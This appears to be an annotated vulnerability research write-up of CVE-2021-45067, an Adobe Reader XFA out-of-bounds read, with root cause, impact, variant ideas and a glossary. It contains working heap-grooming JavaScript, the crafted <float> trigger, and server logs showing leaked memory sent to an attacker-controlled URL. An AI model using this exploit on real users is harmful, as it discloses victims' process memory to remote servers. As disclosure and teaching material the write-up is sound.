LFH stands for Low Fragmentation Heap, a Windows memory manager that hands out small blocks of similar sizes from separate pools, called buckets. "Grooming" means arranging memory deliberately before the bug fires, so that the bytes just after the vulnerable buffer are ones the attacker chose. It is like stacking books on a shelf so that the one you pull out leaves a gap exactly the size you want.
The first task was to find an allocation size that Adobe Reader does not trigger frequently. The authors settled on 0x58: it is not frequently allocated and freed in the background, and it aligns the heap chunk so that there is only one NULL byte at the end. A NULL byte is a byte with value zero, which is how C-style strings mark their end. This is achieved with the following XFA <float> value:
<float> 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111.1 </float>
A <float> is a decimal number field. The long run of ones before the decimal point makes the number so large that its text representation is long. The note in the report: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111.11 is represented as 111111111111111108135579683325721145151278646022500260507995217127497448141778097012736 in string. In other words, the long value is represented as a long string of digits, which is what lands in the heap buffer.
Step 6: Groom the LFH
Grooming the LFH bucket of size 0x58 is as easy as allocating strings of the target length:
const groomLFH = (size, count) => {
var string = unescape("%u4142").repeat(size);
for (var i = 0; i < count; i++) {
chunks.push(string.substr(0, (size - 2) / 2).toUpperCase());
}
for (var i = 0; i < chunks.length; i += 4) {
chunks[i] = null;
delete chunks[i];
}
};
Line by line:
const groomLFH = (size, count) => {defines a function taking a target size and a count.var string = unescape("%u4142").repeat(size);builds a long string.unescape("%u4142")turns the escape sequence into the character with code0x4142, andrepeat(size)repeats it. The characterAis0x41andBis0x42, so this produces a string ofAandBcharacters, the marker pattern used later.- The first loop pushes
countstrings of the target length into an array calledchunks.substr(0, (size - 2) / 2)takes a slice of the right length andtoUpperCase()keeps the characters in upper case. These allocations fill the0x58bucket with known content. - The second loop sets every fourth entry to
nulland deletes it, freeing those blocks and leaving holes in the bucket. The holes are where the vulnerable allocation can later land.
To make the holes, garbage collection has to be triggered:
const triggerGC = () => {
let count = 0x100000;
var string = "GC".repeat(count);
for (var i = 0; i < 1000; i++) {
string.substr(0, count);
}
};
Line by line:
const triggerGC = () => {defines a function with no arguments.let count = 0x100000;sets a large count (about one million characters).var string = "GC".repeat(count);creates a very large string.- The loop calls
string.substr(0, count)a thousand times, creating many temporary strings. Garbage collection is the automatic cleanup that frees memory no longer in use; by creating lots of temporary objects, the script forces the engine to run that cleanup, which is what actually releases the deleted chunks and makes the holes usable.
Step 7: Trigger the leak reliably
With only one <float> string value, LFH randomization makes it harder to re-allocate the holes efficiently. Adding multiple <float> fields to the XDP packet turned out to be effective at increasing the reliability of the reallocation of the holes. More fields means more chances that one of them lands in a prepared hole.
When the user clicks on the field, the form is submitted. If the leak is successful, anything after 111111111111111108135579683325721145151278646022500260507995217127497448141778097012736 is out-of-bounds data, unless it is another SOM expression. The authors chose this pattern to look for:
BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA
This is the A/B marker from the grooming step. If it shows up after the field value in the submitted data, the over-read reached a block the authors had filled themselves, which proves the leak works and that they control what is next to the buffer.
If that pattern appears in the web server logs, the leak was successful. Non-printable data is also out-of-bounds data. The web server logs:
$ sudo python3 web-server-post.py -i [redacted] -p 80
Web server listening on [redacted]:80
subform0[0].#field[0]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736\�����BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[10]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[11]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[12]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[13]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[14]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736$����BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[15]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[16]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736@�ߞ��BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[17]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736$����BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[18]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[19]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[1]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[20]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736\�����BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[21]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[22]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[23]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[24]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[25]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[26]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736$����BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[27]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736悵���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[28]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[29]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736@�ߞ��BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[2]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736@�ߞ��BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[30]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[31]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[32]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736@�ߞ��BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[33]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736$����BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[34]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736��/���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[35]=111111111111111108135579683325721145151278646022500260507995217127497448141778097012736�A���BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABA&subform0[0].#field[36]=1111111111111111081355796833257
What this shows:
- Each
subform0[0].#field[N]=...entry is one field's submitted value. The long digit string is the float value; the odd characters after it are bytes read past the end of the buffer, and then theBABABABA...marker appears. - The
&between entries is the separator between form fields informdataformat. - The last line is the server's access log: a
POST / HTTP/1.1request arrived and was answered with status200(success). The address and timestamp are the server's own record of the request.
Out-of-bounds data is leaked successfully. In the exploit, the target="http://[redacted]/" URL has to be changed to reflect the remote server IP address.
The exploit is published at hacksysteam/CVE-2021-45067:

This is the project card for the exploit repository, showing the repository name, the language (Python), a short description, the blog link and the licence.
A demo video accompanies the write-up:
Root cause
The helper [redacted] allocates the copy of the float string with ASSureMalloc sized from ASstrnlen_safe, and copies it with ASstrcpy_safe, so the buffer is a plain ANSI string. Back in crash_sub_20A49980, the code then decides how to measure that buffer by looking at the field's textEncoding. Because the XDP packet sets textEncoding="UTF-16", the check against utf_16_K succeeds and the inlined miUCSStrlen_safe walks the ANSI buffer two bytes at a time looking for a UTF-16 terminator. The single NULL byte at the end of the ANSI allocation does not terminate the UTF-16 scan, so the loop reads past the end of the buffer. The resulting length is then passed to url_encode, which copies the over-read bytes into the output buffer that is sent to the target URL.
The vulnerable code is missing proper validation of the input string type before trusting textEncoding. The report does not describe any specific mitigation that was bypassed; the bug is a logic error in the encoding handling rather than a failure of a memory-safety check.
Impact
An attacker who can get a victim to open a crafted PDF and click the form field can cause Adobe Reader to read beyond a heap allocation and send the over-read bytes to an attacker-controlled URL. In the authors' demonstration the leaked data was sent to a server they controlled and appeared in its logs. The leak happens from the sandboxed Adobe Reader process, so it discloses memory contents of that process to a remote server. A sandbox is a security boundary that limits what a process can do; the leak happens from the sandboxed Reader process. The authors describe the bug as partially exploitable and use it as an information leak; the report does not claim code execution from this bug alone.
Fix
The report does not state which change Adobe made.
Variants to test
- Other
textEncodingvalues on<submit>: try encodings other thanUTF-16on the submit element and watch for mismatches between the encoding used to allocate the copied string and the encoding used to measure it. A positive result is a crash inAcroForm.apior unexpected bytes after the field value in the submitted data. - Other field types that go through
[redacted]: the helper has separate branches for different encoding types (thecase 4,case 5/case 8andcase 7paths). Exercise each with crafted values and check whether the length routine used later matches the branch that produced the buffer. - Different allocation sizes: repeat the LFH grooming with sizes other than
0x58and check whether the chunk alignment still leaves a single NULL terminator. A positive result is theBABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABApattern or non-printable bytes appearing after the field value in the server log. - Multiple
<float>fields: add more float fields to the XDP packet to improve hole reallocation reliability, as the authors did, and compare leak success rates against a single-field packet. - Reset state precondition: test whether the bug triggers without calling
xfa.host.resetData()first, to confirm how strict the reset-state requirement is. A positive result is the same out-of-bounds data in the submission without the reset call.
Glossary
- ANSI: an older character encoding that stores one byte per character, used here for the copied float string.
- API: a documented set of functions a program offers so other code can ask it to do things.
- Adobe Reader: Adobe's free program for opening and reading PDF files.
- Adobe XFA (XML Form Architecture): Adobe's proprietary XML specification and JavaScript API for building dynamic forms inside PDFs.
- AcroForm.api: the Adobe Reader plug-in module that implements XFA and form-related JavaScript handlers.
- Bucket (LFH): one of the size-specific pools the Low Fragmentation Heap uses to hand out small memory blocks.
- Call stack: the list of functions currently active in a program, innermost first.
- CVE: a public catalogue number for a known vulnerability, here CVE-2021-45067.
- Debugger: a tool that lets a researcher pause a running program and inspect its memory and registers.
- Decompiled code: machine instructions turned back by a tool into something resembling a high-level language such as C.
- Disassembly: the processor's own instruction language shown as text.
- DLL: a library file of code that a program loads at run time.
- Encoding: the rule that maps characters to bytes, such as ANSI (one byte per character) or UTF-16 (two bytes per character).
- Exploit: code or steps that turn a vulnerability into a concrete effect, here leaking memory to a server.
- Form submission: the action of sending a form's field values to a web address.
- Fuzzing: automatically feeding a program huge numbers of mutated inputs to find crashes.
- Garbage collection: automatic cleanup that frees memory no longer in use.
- Grooming: deliberately arranging memory before a bug fires so the bytes after the vulnerable buffer are chosen by the attacker.
- Heap: the pool of memory a program borrows from the operating system at run time.
- Hexadecimal: base-16 number notation, written with a
0xprefix;0x16equals 22 in decimal. - Information leak: a bug that lets a program send out data it should not reveal.
- JavaScript: the scripting language XFA forms can run inside Adobe Reader.
- LFH (Low Fragmentation Heap): a Windows memory manager that hands out small blocks of similar sizes from separate pools.
- Logic flaw: code that does exactly what it was written to do, but follows a wrong rule.
- Memory corruption: a program writing to or reading from memory it does not own, so its behaviour stops matching the programmer's intent.
- Module: a separate file of code, here a DLL, loaded into the main program.
- NULL byte: a byte with value zero, used to mark the end of a C-style string.
- Out-of-bounds read: reading memory outside the buffer the program was given.
- PDF: the file format Adobe Reader opens.
- Plug-in: an add-on module that extends a program's functionality.
- Port: a numbered channel on a machine that a network service listens on; port 80 is the default for plain HTTP.
- POST request: the standard way a browser or program sends data to a server, with the data in the request body.
- Register: a tiny, very fast storage slot inside the processor, such as
rcx. - Repository: a project folder hosted on a code-sharing site.
- Sandbox: a security boundary that limits what a process can do.
- SOM expression: the naming scheme XFA uses to address fields, such as
subform0[0].#field[0]. - Testbed: the machine and software configuration used for a test.
- UTF-16: a character encoding that stores two bytes per character, ending a string with two zero bytes.
- Vulnerability: a weakness in software that an attacker can use to make it behave in unintended ways.
- Web server: a program that answers requests from browsers or other programs.
- XDP packet: the XML data that describes a form inside a PDF.
- XML: a text format that uses tags like
<field>to describe data.